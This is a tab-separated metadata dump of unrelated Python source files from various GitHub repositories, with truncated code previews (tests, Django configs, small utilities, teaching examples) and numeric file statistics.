264d71529741f0abf129d5183e888c76a74c88af	444	py	Python	tests/test_usgsm2m.py	ashutoshkumarjha/usgsm2m	eb655d4a57e2c0d6f770003e682b6ae0591e632e	[ "MIT" ]	null	null	null	tests/test_usgsm2m.py	ashutoshkumarjha/usgsm2m	eb655d4a57e2c0d6f770003e682b6ae0591e632e	[ "MIT" ]	null	null	null	tests/test_usgsm2m.py	ashutoshkumarjha/usgsm2m	eb655d4a57e2c0d6f770003e682b6ae0591e632e	[ "MIT" ]	null	null	null	"""Tests for usgsm2m module.""" import os import pytest from usgsm2m.usgsm2m import USGSM2M from usgsm2m.errors import USGSM2MError @pytest.fixture(scope="module") def ee(): return USGSM2M( os.getenv("USGSM2M_USERNAME"), os.getenv("USGSM2M_PASSWORD") ) def test_ee_login(ee): assert ee.logged_i...	18.5	68	0.716216	57	444	5.403509	0.473684	0.071429	0.097403	0.090909	0	0	0	0	0	0	0.02973	0.166667	444	23	69	19.304348	0.802703	0.056306	0	0	0	0.150121	0	0	0.071429	1	0.214286	false	0.142857	0.285714	0.071429	0.571429	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	1	0	0	1	0	3
26525da2ef42b0bfd988c84a74bb307737ebff90	85,056	py	Python	pw_tokenizer/py/varint_test_data.py	curtin-space/pigweed	fe2e1743e03fabd2676f01d9de0ac9d34a426076	[ "Apache-2.0" ]	86	2021-03-09T23:49:40.000Z	2022-03-30T08:14:51.000Z	pw_tokenizer/py/varint_test_data.py	curtin-space/pigweed	fe2e1743e03fabd2676f01d9de0ac9d34a426076	[ "Apache-2.0" ]	4	2021-07-27T20:32:03.000Z	2022-03-08T10:39:07.000Z	pw_tokenizer/py/varint_test_data.py	curtin-space/pigweed	fe2e1743e03fabd2676f01d9de0ac9d34a426076	[ "Apache-2.0" ]	22	2021-03-11T15:15:47.000Z	2022-02-09T06:16:36.000Z	# Copyright 2020 The Pigweed Authors # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...	84.130564	117	0.651571	11,938	85,056	4.641816	0.111325	0.100047	0.062403	0.004764	0.045656	0.008211	0.006424	0.006424	0.005215	0.002851	0.375998	0.05922	85,056	1,010	118	84.213861	0.316512	0.011428	0.004111	0	0	0.641445	0.22733	0	0	1	0.001028	false	0	0	0.001028	0.002056	0	0	0	null	0	0	0	0	0	0	0	1	0	0	1	0	0	0	0	1	0	null	0	0	0	0	0	0	0	0	0	3
26710ae602f22531c1992410068d92816040b136	37	py	Python	string/stringmatching.py	ashutoshdumiyan/CSES-Solutions	48ff04f0003c2a1f808412497a22c7c7841bb3db	[ "MIT" ]	null	null	null	string/stringmatching.py	ashutoshdumiyan/CSES-Solutions	48ff04f0003c2a1f808412497a22c7c7841bb3db	[ "MIT" ]	null	null	null	string/stringmatching.py	ashutoshdumiyan/CSES-Solutions	48ff04f0003c2a1f808412497a22c7c7841bb3db	[ "MIT" ]	null	null	null	s = input() t = input() print()	7.4	12	0.459459	5	37	3.4	0.8	0	0	0	0	0	0	0	0	0	0	0.324324	37	4	13	9.25	0.68	0	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0.333333	1	1	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
13fe5c712851d7975ca8618f0f04b443e272383e	36	py	Python	server/constants.py	deepti-96/ConvoCare-Mental-Health-	1bae3febc3bc1253eec4f3fee63fb867756bcb5b	[ "MIT" ]	1	2022-02-06T20:44:17.000Z	2022-02-06T20:44:17.000Z	server/constants.py	deepti-96/ConvoCare-Mental-Health	1bae3febc3bc1253eec4f3fee63fb867756bcb5b	[ "MIT" ]	null	null	null	server/constants.py	deepti-96/ConvoCare-Mental-Health	1bae3febc3bc1253eec4f3fee63fb867756bcb5b	[ "MIT" ]	null	null	null	CLASSES = ['anxiety', 'depression']	18	35	0.666667	3	36	8	1	0	0	0	0	0	0	0	0	0	0	0.111111	36	1	36	36	0.75	0	0	0	0	0.472222	0	0	0	1	0	false	0	0	0	0	0	1	1	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
cd07c968339135843b4cf9c8f0149fcdaf84bdcd	609	py	Python	animationGenerator.py	Memnarch1113/keyboardAnimation	93e7124fdb10abc03be59021a5a92d0535e82a6b	[ "MIT" ]	null	null	null	animationGenerator.py	Memnarch1113/keyboardAnimation	93e7124fdb10abc03be59021a5a92d0535e82a6b	[ "MIT" ]	null	null	null	animationGenerator.py	Memnarch1113/keyboardAnimation	93e7124fdb10abc03be59021a5a92d0535e82a6b	[ "MIT" ]	null	null	null	# print ("hello world") # import sys # print(sys.version) # columns = [0,2,4,6,8,10,12,14,16,18,20,22,24,25,27,29,31,33,35,37,39,41,43,45,47,49,50,52,54,56,58,60,62,64,66,68,70,72,74,75,77,79,81,83,85,87,89,91,93,95,97,] for x in range(0, 125): print('P[c:{0}] (0,255,0), '.format(x%125), end='') # Green print...	46.846154	162	0.551724	131	609	2.564886	0.572519	0.089286	0.104167	0.119048	0.136905	0.083333	0	0	0	0	0.304104	0.119869	609	13	163	46.846154	0.322761	0.399015	0	0	0	0.29972	0	0	0	1	0	false	0	0	0	0	0.857143	0	0	null	0	0	0	0	0	0	0	1	0	0	1	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	1	3
cd1b0e66960e25c44228f14d97d7cbc499be6547	347	py	Python	functional_tests/server_tools.py	jeckt/mindful-spending	e77d991ab6eb0302a75da51ec3802e64877f972a	[ "Apache-2.0" ]	2	2018-07-23T21:12:38.000Z	2018-07-23T21:54:59.000Z	functional_tests/server_tools.py	jeckt/mindful-spending	e77d991ab6eb0302a75da51ec3802e64877f972a	[ "Apache-2.0" ]	null	null	null	functional_tests/server_tools.py	jeckt/mindful-spending	e77d991ab6eb0302a75da51ec3802e64877f972a	[ "Apache-2.0" ]	null	null	null	from fabric.api import run from fabric.context_managers import settings def _get_manage_dot_py(host): return f'~/sites/{host}/virtualenv/bin/python ~/sites/{host}/manage.py' def reset_database(host): manage_dot_py = _get_manage_dot_py(host) with settings(host_string=f'steve@{host}'): run(f'{manage...	31.545455	75	0.740634	54	347	4.481481	0.5	0.14876	0.181818	0.115702	0.14876	0	0	0	0	0	0	0.129683	347	10	76	34.7	0.801325	0	0	0	0	0.299712	0.172911	0	0	1	0.25	false	0	0.25	0.125	0.625	0	0	0	null	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	0	0	3
cd260b6f41987246d8c61522e606080bcc0d5196	452	py	Python	config/debug/settings.py	saengate/django	699a42f661e7cf0d1461553775caee65f6823f09	[ "Apache-2.0" ]	null	null	null	config/debug/settings.py	saengate/django	699a42f661e7cf0d1461553775caee65f6823f09	[ "Apache-2.0" ]	9	2021-04-06T18:47:10.000Z	2021-09-22T19:48:02.000Z	config/debug/settings.py	saengate/wagtail-blog	db875d8f455fc92d5f9ac7ce98a4efdac1744381	[ "Apache-2.0" ]	null	null	null	""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 2.2.7. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ from config.s...	25.111111	60	0.769912	67	452	5.164179	0.61194	0.017341	0.069364	0.144509	0.184971	0.184971	0.184971	0.184971	0	0	0.0175	0.115044	452	17	61	26.588235	0.8475	0.670354	0	1	0	0.432624	0.432624	0	0	1	0	false	0	0.333333	0	0.333333	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	1	0	0	1	null	0	0	0	0	0	1	0	0	0	3
cd69a6f72d833191d5d6cc3c149e3f9a5af34868	132	py	Python	back-end/stripe_payment/urls.py	BloomTech-Labs/CS10-employee-shift	bb45c8e0ece121b8e38db9f156bddd8ac204d875	[ "MIT" ]	null	null	null	back-end/stripe_payment/urls.py	BloomTech-Labs/CS10-employee-shift	bb45c8e0ece121b8e38db9f156bddd8ac204d875	[ "MIT" ]	6	2022-02-12T15:59:53.000Z	2022-03-08T22:53:17.000Z	back-end/stripe_payment/urls.py	BloomTech-Labs/CS10-employee-shift	bb45c8e0ece121b8e38db9f156bddd8ac204d875	[ "MIT" ]	4	2018-09-10T16:13:48.000Z	2021-01-30T20:04:37.000Z	from django.conf.urls import url from .api import checkout urlpatterns = [ url(r'^create-charge/$', checkout, name="cout"), ]	16.5	52	0.689394	18	132	5.055556	0.777778	0	0	0	0	0	0	0	0	0	0	0.159091	132	8	53	16.5	0.81982	0	0	0	0	0.150376	0	0	0	1	0	false	0	0.4	0	0.4	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
cd879ba204b62757471cf287dc2db247b8098608	1,116	py	Python	tangos/input_handlers/halo_stat_files/translations.py	TobiBu/tangos	decab8c892c5937fd68474a375089abef198dba2	[ "BSD-3-Clause" ]	null	null	null	tangos/input_handlers/halo_stat_files/translations.py	TobiBu/tangos	decab8c892c5937fd68474a375089abef198dba2	[ "BSD-3-Clause" ]	null	null	null	tangos/input_handlers/halo_stat_files/translations.py	TobiBu/tangos	decab8c892c5937fd68474a375089abef198dba2	[ "BSD-3-Clause" ]	null	null	null	"""Helper classes for defining translations between .stat file of different formats.""" class Function(object): """Define a column which is actually a function of other columns""" def __init__(self, fn, *input_arg_names): self.fn = fn self.input_arg_names = input_arg_names def __call__(sel...	31	101	0.683692	157	1,116	4.503185	0.286624	0.113154	0.091938	0.080622	0.393211	0.268741	0.268741	0.178218	0.178218	0.12447	0	0.22043	1,116	36	102	31	0.812644	0.199821	0.26087	0	0	0	0	0	0	1	0.391304	false	0	0	0.217391	0.782609	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
26a73ee1ad8fce816b89a620cd83db2775918e4d	354	py	Python	hard-gists/9842903/snippet.py	jjhenkel/dockerizeme	eaa4fe5366f6b9adf74399eab01c712cacaeb279	[ "Apache-2.0" ]	21	2019-07-08T08:26:45.000Z	2022-01-24T23:53:25.000Z	hard-gists/9842903/snippet.py	jjhenkel/dockerizeme	eaa4fe5366f6b9adf74399eab01c712cacaeb279	[ "Apache-2.0" ]	5	2019-06-15T14:47:47.000Z	2022-02-26T05:02:56.000Z	hard-gists/9842903/snippet.py	jjhenkel/dockerizeme	eaa4fe5366f6b9adf74399eab01c712cacaeb279	[ "Apache-2.0" ]	17	2019-05-16T03:50:34.000Z	2021-01-14T14:35:12.000Z	from django.views.generic import TemplateView if settings.DEBUG: # enable local preview of error pages urlpatterns += patterns('', (r'^403/$', TemplateView.as_view(template_name="403.html")), (r'^404/$', TemplateView.as_view(template_name="404.html")), (r'^500/$', TemplateView.as_view...	32.181818	68	0.658192	44	354	5.159091	0.590909	0.185022	0.237885	0.343612	0.396476	0	0	0	0	0	0.061433	0.172316	354	11	69	32.181818	0.713311	0.09887	0	0	0	0.132075	0	0	0	1	0	true	0	0.142857	0	0.142857	0	0	0	null	0	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	1	0	0	0	0	0	3
26d0964d29f16c3fe3367e1615a396577eb30743	527	py	Python	Classes.py	max15474/Lesson_9	554c0a542e2a308876aa523369c8ea67168485a2	[ "MIT" ]	null	null	null	Classes.py	max15474/Lesson_9	554c0a542e2a308876aa523369c8ea67168485a2	[ "MIT" ]	null	null	null	Classes.py	max15474/Lesson_9	554c0a542e2a308876aa523369c8ea67168485a2	[ "MIT" ]	null	null	null	class Point: def __init__(self, x, y): self.x = x self.y = y def __str__(self): return f'Точка: ({self.x}, {self.y})' def __add__(self, other): return Point(self.x + other.x, self.y + other.y) def distance(self): return (self.x 2 + self.y 2) ** 0.5 d...	19.518519	61	0.514231	93	527	2.763441	0.290323	0.116732	0.070039	0	0	0	0	0	0	0	0.037135	0.28463	527	26	62	20.269231	0.644562	0	0	0	0	0.051233	0	0	0	1	0.263158	false	0	0	0.210526	0.526316	0.263158	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
26dd8130b8930722c7e3143c6c7519fd5744e3bd	1,814	py	Python	hexfarm/gen.py	bhgomes/hexfarm	f5804944fb8a59d15fb5e6666612c74b935e8191	[ "MIT" ]	1	2018-05-30T00:42:45.000Z	2018-05-30T00:42:45.000Z	hexfarm/gen.py	bhgomes/hexfarm	f5804944fb8a59d15fb5e6666612c74b935e8191	[ "MIT" ]	6	2019-04-04T05:24:11.000Z	2020-09-20T18:47:14.000Z	hexfarm/gen.py	bhgomes/hexfarm	f5804944fb8a59d15fb5e6666612c74b935e8191	[ "MIT" ]	null	null	null	# -- coding: utf-8 -- # # # hexfarm/gen.py # # # MIT License # # Copyright (c) 2018-2019 Brandon Gomes # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including witho...	27.484848	80	0.723264	246	1,814	5.280488	0.54065	0.067744	0.020015	0.027714	0	0	0	0	0	0	0.005956	0.167034	1,814	65	81	27.907692	0.853739	0.708931	0	0	0	0.026804	0	0	0	1	0	false	0.066667	0.666667	0	0.733333	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	1	0	1	0	3
26e1d5051739702008720bfbad6b3e30046a06e9	164	py	Python	hon/structure/readme.py	swquinn/hon	333332029ee884a8822d38024659d5d7da64ff1a	[ "MIT" ]	null	null	null	hon/structure/readme.py	swquinn/hon	333332029ee884a8822d38024659d5d7da64ff1a	[ "MIT" ]	14	2019-06-23T01:49:55.000Z	2021-02-22T01:26:51.000Z	hon/structure/readme.py	swquinn/hon	333332029ee884a8822d38024659d5d7da64ff1a	[ "MIT" ]	null	null	null	# -- coding: utf-8 -- """ hon.structure.readme ~~~~~ The structure module for parsing the README.md file. """ def parse_readme(app, text): pass	14.909091	56	0.591463	21	164	4.571429	0.809524	0	0	0	0	0	0	0	0	0	0.008	0.237805	164	11	57	14.909091	0.76	0.628049	0	0	0	0	0	0	0	1	0.5	false	0.5	0	0	0.5	0	1	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	1	0	0	0	0	3
26f4adff86d676b725fdcfdca1ae89254dbdde30	87	py	Python	tools/bin/pythonSrc/pychecker-0.8.18/test_input/import37.py	YangHao666666/hawq	10cff8350f1ba806c6fec64eb67e0e6f6f24786c	[ "Artistic-1.0-Perl", "ISC", "bzip2-1.0.5", "TCL", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "PostgreSQL", "BSD-3-Clause" ]	450	2015-09-05T09:12:51.000Z	2018-08-30T01:45:36.000Z	tools/bin/pythonSrc/pychecker-0.8.18/test_input/import37.py	YangHao666666/hawq	10cff8350f1ba806c6fec64eb67e0e6f6f24786c	[ "Artistic-1.0-Perl", "ISC", "bzip2-1.0.5", "TCL", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "PostgreSQL", "BSD-3-Clause" ]	1,274	2015-09-22T20:06:16.000Z	2018-08-31T22:14:00.000Z	tools/bin/pythonSrc/pychecker-0.8.18/test_input/import37.py	YangHao666666/hawq	10cff8350f1ba806c6fec64eb67e0e6f6f24786c	[ "Artistic-1.0-Perl", "ISC", "bzip2-1.0.5", "TCL", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "PostgreSQL", "BSD-3-Clause" ]	278	2015-09-21T19:15:06.000Z	2018-08-31T00:36:51.000Z	'd' class Test: 'doc' def x(self): import struct print struct	10.875	21	0.505747	11	87	4	0.909091	0	0	0	0	0	0	0	0	0	0	0.402299	87	7	22	12.428571	0.846154	0	0	0	0	0.045977	0	0	0	0	null	null	0	0.166667	null	null	0.166667	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	1	0	0	0	0	0	0	0	3
f8123c35013b03bf3ffe3a3a4ec12be9ee73f764	2,584	py	Python	ToolsTwitter/preprocess/twitter.py	inspectorgadgetteknofest/inspector-gadget-acikhack2021	026e54f1cdc793f92eb33dcbc212cef6d7655b0a	[ "MIT" ]	null	null	null	ToolsTwitter/preprocess/twitter.py	inspectorgadgetteknofest/inspector-gadget-acikhack2021	026e54f1cdc793f92eb33dcbc212cef6d7655b0a	[ "MIT" ]	null	null	null	ToolsTwitter/preprocess/twitter.py	inspectorgadgetteknofest/inspector-gadget-acikhack2021	026e54f1cdc793f92eb33dcbc212cef6d7655b0a	[ "MIT" ]	1	2021-12-10T18:39:11.000Z	2021-12-10T18:39:11.000Z	import re import os class Twitter(): def __init__(self): pass def removeHastag(self, tweet): """ Remove hastag in a tweet. (Tweet içerisindeki hastag'i kaldırır.) Example: Input: \ttext [string] => "Merhaba #Hello" Ou...	25.087379	132	0.485681	251	2,584	4.956175	0.406375	0.053055	0.054662	0.03135	0.40836	0.283762	0.196141	0.196141	0.196141	0.196141	0.001908	0.391641	2,584	102	133	25.333333	0.78944	0.436533	0	0	0.111111	0.254237	0.043868	0	0	1	0.277778	false	0.055556	0.111111	0	0.611111	0.055556	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	1	0	0	1	0	3
f823c93d6bccec2028f60c651c2a80957d6e66fa	57	py	Python	aswan/security/__init__.py	papsebestyen/aswan	ed1b2a3dae6a8b7de355edd75de8d4ad577c97cd	[ "MIT" ]	1	2021-04-28T23:08:07.000Z	2021-04-28T23:08:07.000Z	aswan/security/__init__.py	papsebestyen/aswan	ed1b2a3dae6a8b7de355edd75de8d4ad577c97cd	[ "MIT" ]	1	2022-01-22T22:02:55.000Z	2022-01-22T22:02:55.000Z	aswan/security/__init__.py	papsebestyen/aswan	ed1b2a3dae6a8b7de355edd75de8d4ad577c97cd	[ "MIT" ]	2	2022-01-05T10:01:22.000Z	2022-02-16T10:58:46.000Z	from .proxy_base import NoProxy DEFAULT_PROXY = NoProxy	14.25	31	0.824561	8	57	5.625	0.75	0	0	0	0	0	0	0	0	0	0	0.140351	57	3	32	19	0.918367	0	0	0	0	0	0	0	0	1	0	false	0	0.5	0	0.5	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
f85592d9d2ddfd6e85896942255c8e5ac98e5967	525	py	Python	bert-ranker/experiment/qa/train/no_training.py	UKPLab/emnlp2020-multicqa	9d08a89dba5e51786bb3153ca3733b23006eb628	[ "Apache-2.0" ]	14	2020-09-23T11:47:05.000Z	2022-01-10T07:18:55.000Z	bert-ranker/experiment/qa/train/no_training.py	UKPLab/emnlp2020-multicqa	9d08a89dba5e51786bb3153ca3733b23006eb628	[ "Apache-2.0" ]	1	2020-07-17T07:32:46.000Z	2020-07-17T07:34:19.000Z	bert-ranker/experiment/qa/train/no_training.py	UKPLab/emnlp2020-multicqa	9d08a89dba5e51786bb3153ca3733b23006eb628	[ "Apache-2.0" ]	2	2021-03-05T05:19:10.000Z	2021-09-13T08:26:39.000Z	import tensorflow as tf import experiment class NoTraining(experiment.Training): """This is a replacement component that skips the training process""" def __init__(self, config, config_global, logger): super(NoTraining, self).__init__(config, config_global, logger) def start(self, model, data, ...	22.826087	73	0.708571	62	525	5.790323	0.580645	0.066852	0.100279	0.133705	0	0	0	0	0	0	0	0.20381	525	22	74	23.863636	0.858852	0.12	0.166667	0	0	0.037281	0	0	0	1	0.333333	false	0.166667	0.166667	0	0.583333	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	1	0	0	1	0	3
f85cbd43724defb0fe5f52252845c409f39b65ea	329	py	Python	course/TronShow/Domino2/sample.py	playpuppy/course-demo	7dd787a3219f20d9bca8b7c7c2509844e32e35c7	[ "MIT" ]	null	null	null	course/TronShow/Domino2/sample.py	playpuppy/course-demo	7dd787a3219f20d9bca8b7c7c2509844e32e35c7	[ "MIT" ]	null	null	null	course/TronShow/Domino2/sample.py	playpuppy/course-demo	7dd787a3219f20d9bca8b7c7c2509844e32e35c7	[ "MIT" ]	null	null	null	from puppy2d import * setGravity(0, -1) Rectangle(-100, 200, 700, 30, isStatic=True) for i in [-300, -200, -100, 0]: Rectangle(i, 300, 20, 200) Circle(200, 300, 150) Rectangle(0, -200, 1000, 30, isStatic=True) for i in [-400, -300, -200, -100, 0, 100, 200, 300]: Rectangle(i, -100, 20, 200) Circle(-350, 5...	18.277778	52	0.613982	56	329	3.607143	0.428571	0.059406	0.138614	0.168317	0.19802	0.19802	0	0	0	0	0.338346	0.191489	329	17	53	19.352941	0.421053	0	0	0	0	0	0	0	0	1	0	false	0	0.1	0	0.1	0	0	0	null	0	0	1	0	0	0	0	1	0	0	1	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
f87f05fcc3b8372c33c9e29a96d27a78ca11a96a	182	py	Python	problem0579.py	kmarcini/Project-Euler-Python	d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3	[ "BSD-3-Clause" ]	null	null	null	problem0579.py	kmarcini/Project-Euler-Python	d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3	[ "BSD-3-Clause" ]	null	null	null	problem0579.py	kmarcini/Project-Euler-Python	d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3	[ "BSD-3-Clause" ]	null	null	null	########################### # # #579 Lattice points in lattice cubes - Project Euler # https://projecteuler.net/problem=579 # # Code by Kevin Marciniak # ###########################	20.222222	54	0.505495	17	182	5.411765	0.882353	0	0	0	0	0	0	0	0	0	0.0375	0.120879	182	8	55	22.75	0.5375	0.615385	null	0	null	0	0	null	null	1	null	true	0	0	null	null	null	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	1	0	0	0	0	0	3
f88630113525150ad6ff4cf3167bea57fc4bf63e	20	py	Python	tests/__init__.py	eladhayun/cinnamon-server	559fb2f41c0d1dd22e3170e29900f4df22107b42	[ "MIT" ]	4	2019-09-03T04:10:55.000Z	2020-10-02T10:14:37.000Z	tests/__init__.py	eladhayun/activity-monitor	559fb2f41c0d1dd22e3170e29900f4df22107b42	[ "MIT" ]	null	null	null	tests/__init__.py	eladhayun/activity-monitor	559fb2f41c0d1dd22e3170e29900f4df22107b42	[ "MIT" ]	null	null	null	__author__ = 'Elad'	10	19	0.7	2	20	5	1	0	0	0	0	0	0	0	0	0	0	0.15	20	1	20	20	0.588235	0	0	0	0	0.2	0	0	0	1	0	false	0	0	0	0	0	1	1	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
f88f72dd74d324249a2dd6b2124604809bc7ab37	1,888	py	Python	hd_ansible/migrations/0001_initial.py	Rmond/OperMge	926f00107614ed55b26ff3beac178fe955de856a	[ "Apache-2.0" ]	1	2017-08-18T07:03:34.000Z	2017-08-18T07:03:34.000Z	hd_ansible/migrations/0001_initial.py	Rmond/OperMge	926f00107614ed55b26ff3beac178fe955de856a	[ "Apache-2.0" ]	null	null	null	hd_ansible/migrations/0001_initial.py	Rmond/OperMge	926f00107614ed55b26ff3beac178fe955de856a	[ "Apache-2.0" ]	null	null	null	# -- coding: utf-8 -- # Generated by Django 1.11 on 2017-06-01 09:56 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( ...	41.955556	115	0.559852	181	1,888	5.657459	0.364641	0.205078	0.123047	0.164063	0.620117	0.509766	0.441406	0.441406	0.441406	0.441406	0.033033	0.294492	1,888	44	116	42.909091	0.735736	0.034958	0.5	1	0	0.100282	0	0	0	1	0	false	0	0.055556	0	0.166667	0	0	0	null	1	0	1	0	0	0	0	0	0	0	0	0	0	1	0	0	0	null	0	0	0	0	0	0	0	0	0	3
f8a26ba3748a39af3cf02b5817e00cb98e19b8e6	183	py	Python	03.Complete Python Developer - Zero to Mastery - AN/04.Advanced Python Functional Programming/zip.py	ptyadana/python-dojo	98c7234b84f0afea99a091c7198342d66bbdff5b	[ "MIT" ]	3	2020-06-01T04:17:18.000Z	2020-12-18T03:05:55.000Z	03.Complete Python Developer - Zero to Mastery - AN/04.Advanced Python Functional Programming/zip.py	ptyadana/python-dojo	98c7234b84f0afea99a091c7198342d66bbdff5b	[ "MIT" ]	1	2020-04-25T08:01:59.000Z	2020-04-25T08:01:59.000Z	03.Complete Python Developer - Zero to Mastery - AN/04.Advanced Python Functional Programming/zip.py	ptyadana/python-dojo	98c7234b84f0afea99a091c7198342d66bbdff5b	[ "MIT" ]	7	2020-04-26T10:02:36.000Z	2021-06-08T05:12:46.000Z	#zip my_list = [1,2,3] your_list = [100,200,300] their_list = [1000,2000,3000] print(list(zip(my_list, your_list, their_list))[0][2]) print(list(zip(my_list, your_list, their_list)))	26.142857	54	0.715847	36	183	3.388889	0.444444	0.122951	0.221311	0.229508	0.57377	0.57377	0.57377	0.57377	0.57377	0	0.155689	0.087432	183	7	55	26.142857	0.57485	0.016393	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0.4	0	0	null	0	1	1	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
f8aac16af4863d042429c0588ae1998760a8a7ef	10,470	py	Python	api_v3/tests/views/test_subscribers.py	DrWhax/id-backend	603abbf4193591932708313662da9b2811f6867a	[ "MIT" ]	null	null	null	api_v3/tests/views/test_subscribers.py	DrWhax/id-backend	603abbf4193591932708313662da9b2811f6867a	[ "MIT" ]	1	2021-06-10T23:43:34.000Z	2021-06-10T23:43:34.000Z	api_v3/tests/views/test_subscribers.py	DrWhax/id-backend	603abbf4193591932708313662da9b2811f6867a	[ "MIT" ]	null	null	null	import json from django.conf import settings from django.template.loader import render_to_string from api_v3.factories import ( ProfileFactory, TicketFactory, ResponderFactory, SubscriberFactory) from api_v3.factories.support import Faker from api_v3.models import Subscriber, Action from api_v3.serializers import...	33.132911	80	0.63362	1,107	10,470	5.813008	0.112014	0.081585	0.04662	0.067599	0.758819	0.722145	0.701166	0.678011	0.637296	0.625486	0.01249	0.250621	10,470	315	81	33.238095	0.807673	0	0.544304	0	0	0.072302	0.012607	0	0.147679	1	0.07173	false	0	0.042194	0	0.118143	0	0	0	null	0	0	0	0	1	1	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
3e0aedb8dadd5806fd35f0531765964c7e3e9f93	81	py	Python	examples/develop/lp/002/__init__.py	cr0hn/OMSTD	814eb60e36f2b6693dffa46c24f0bca190ed48c1	[ "BSD-2-Clause" ]	26	2015-01-26T15:34:03.000Z	2021-02-25T03:02:57.000Z	examples/develop/st/003/__init__.py	cr0hn/OMSTD	814eb60e36f2b6693dffa46c24f0bca190ed48c1	[ "BSD-2-Clause" ]	null	null	null	examples/develop/st/003/__init__.py	cr0hn/OMSTD	814eb60e36f2b6693dffa46c24f0bca190ed48c1	[ "BSD-2-Clause" ]	22	2015-01-03T00:27:51.000Z	2021-02-24T18:56:28.000Z	# -- coding: utf-8 -- __author__ = 'cr0hn - cr0hn<-at->cr0hn.com (@ggdaniel)'	20.25	55	0.592593	10	81	4.4	0.8	0	0	0	0	0	0	0	0	0	0.057971	0.148148	81	3	56	27	0.57971	0.259259	0	0	0	0.689655	0	0	0	1	0	false	0	0	0	0	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	1	0	null	0	0	0	0	0	0	0	0	0	3
3e13d9f04c5b9e380942a3048140fa5f7f9bee3d	919	py	Python	patterns/creational/factory_method.py	zhaijingrong/patterns_in_python	8cb53a58cbb78dc7ed578887a8e7c481cfa72c80	[ "MIT" ]	null	null	null	patterns/creational/factory_method.py	zhaijingrong/patterns_in_python	8cb53a58cbb78dc7ed578887a8e7c481cfa72c80	[ "MIT" ]	null	null	null	patterns/creational/factory_method.py	zhaijingrong/patterns_in_python	8cb53a58cbb78dc7ed578887a8e7c481cfa72c80	[ "MIT" ]	null	null	null	""" 抽象工厂方法--对象创建型模式 1. 目标定义一个用于创建对象的接口，让子类决定实例化哪一个类，使一个类的实例化延迟到子类。 """ class CakeFactory(object): def make_cake(self): print('make a cake') class CreamCakeFactory(CakeFactory): def make_cake(self): print('make a cream cake') return CreamCake() class FruitCakeFactory(CakeFactory...	19.145833	47	0.671382	112	919	5.178571	0.267857	0.093103	0.056897	0.077586	0.387931	0.305172	0.305172	0.22069	0	0	0.001408	0.227421	919	48	48	19.145833	0.815493	0.071817	0.222222	0	0	0.126627	0	0	0	1	0.222222	false	0	0	0.111111	0.62963	0.185185	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
